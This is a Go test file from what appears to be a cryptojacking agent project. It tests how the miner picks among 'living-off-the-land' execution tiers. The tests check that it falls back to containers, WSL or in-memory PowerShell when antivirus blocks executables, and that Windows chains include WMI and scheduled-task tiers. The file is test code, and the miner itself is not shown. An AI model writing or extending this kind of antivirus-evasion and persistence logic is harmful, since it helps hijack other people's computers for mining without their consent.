package miner import ( "runtime" "testing" "crypto-miner-agent/config" ) func baseProbes() EnvironmentProbes { return EnvironmentProbes{ Docker: true, WSL: true, PowerShell: true, DotNet: true, GPU: true, WebView2: true, } } func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig { b := config.BuiltinConfig{ MinerExecution: ExecutionAuto, PoolHost: "pool.example.com", Wallet: "test-cmr-wallet", } if overrides.MinerExecution != "" { b.MinerExecution = overrides.MinerExecution } if overrides.PoolHost != "" { b.PoolHost = overrides.PoolHost } if overrides.Wallet != "" { b.Wallet = overrides.Wallet } if overrides.GPUEnabled { b.GPUEnabled = overrides.GPUEnabled } if overrides.RVNWallet != "" { b.RVNWallet = overrides.RVNWallet } return config.RuntimeConfig{BuiltinConfig: b} } func chainContains(chain []LOTLTier, tier LOTLTier) bool { for _, t := range chain { if t == tier { return true } } return false } func TestSelectMiningTierChainDefaultAuto(t *testing.T) { chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{ GPUEnabled: true, RVNWallet: "rvn-wallet", })) if chain[0] != TierExeSubprocess { t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain) } if !chainContains(skipped, TierDockerLoad) { t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped) } for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} { if !chainContains(chain, tier) { t.Fatalf("missing %q in chain=%v", tier, chain) } } if runtime.GOOS == "windows" { for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} { if !chainContains(chain, tier) { t.Fatalf("windows chain missing %q: %v", tier, chain) } } } } func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) { probes := baseProbes() probes.AVBlocksExe = true chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) if chain[0] != TierContainer { t.Fatalf("AV blocks exe should prefer container first, got %v", chain) } if !chainContains(skipped, TierExeSubprocess) { t.Fatalf("expected exe_subprocess in skipped, got %v", skipped) } } func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) { probes := baseProbes() probes.Docker = false probes.AVBlocksExe = true chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) if chain[0] != TierWSL { t.Fatalf("no docker should try WSL next, got %v", chain) } if !chainContains(skipped, TierContainer) { t.Fatalf("expected container skipped, got %v", skipped) } } func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) { probes := baseProbes() probes.Docker = false probes.WSL = false probes.AVBlocksExe = true chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) if chain[0] != TierPSInMemory { t.Fatalf("no WSL should try ps_inmemory, got %v", chain) } } func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) { probes := baseProbes() probes.GPU = false chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{ GPUEnabled: true, RVNWallet: "wallet", })) if chainContains(chain, TierGPUSubprocess) { t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain) } if !chainContains(skipped, TierGPUSubprocess) { t.Fatalf("expected gpu_subprocess skipped, got %v", skipped) } } func TestSelectMiningTierChainInProcessMode(t *testing.T) { chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{ MinerExecution: ExecutionInProcess, })) if chain[0] != TierCPUInprocess { t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain) } if !chainContains(chain, TierStratumDirect) { t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain) } } func TestSelectMiningTierChainServerSkipTiers(t *testing.T) { policy := MiningTierPolicy{ TierOrder: DefaultTierOrder, SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL}, } chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{})) if chain[0] != TierContainer { t.Fatalf("server skip should start at container, got %v", chain) } } func TestSelectMiningTierChainForceTier(t *testing.T) { policy := MiningTierPolicy{ForceTier: TierCPUInprocess} chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{})) if len(chain) != 1 || chain[0] != TierCPUInprocess { t.Fatalf("force tier chain=%v skipped=%v", chain, skipped) } } func TestTierOrchestratorStubTiersFallThrough(t *testing.T) { probes := EnvironmentProbes{ Docker: false, WSL: false, PowerShell: false, DotNet: false, } policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}} o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{ StartInProcess: func() error { return nil }, }, nil) tier, err := o.TryChain(t.Context()) if err != nil { t.Fatalf("TryChain: %v", err) } if tier != TierCPUInprocess { t.Fatalf("active=%q want cpu_inprocess", tier) } report := o.Report() var exeAttempt, cpuAttempt *TierAttempt for i := range report.Attempts { switch report.Attempts[i].Tier { case TierExeSubprocess: exeAttempt = &report.Attempts[i] case TierCPUInprocess: cpuAttempt = &report.Attempts[i] } } if exeAttempt == nil || cpuAttempt == nil { t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts) } if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" { t.Fatalf("wallet must be identical: %v", report.Attempts) } if exeAttempt.OK { t.Fatalf("stub tier should fail: %v", *exeAttempt) } }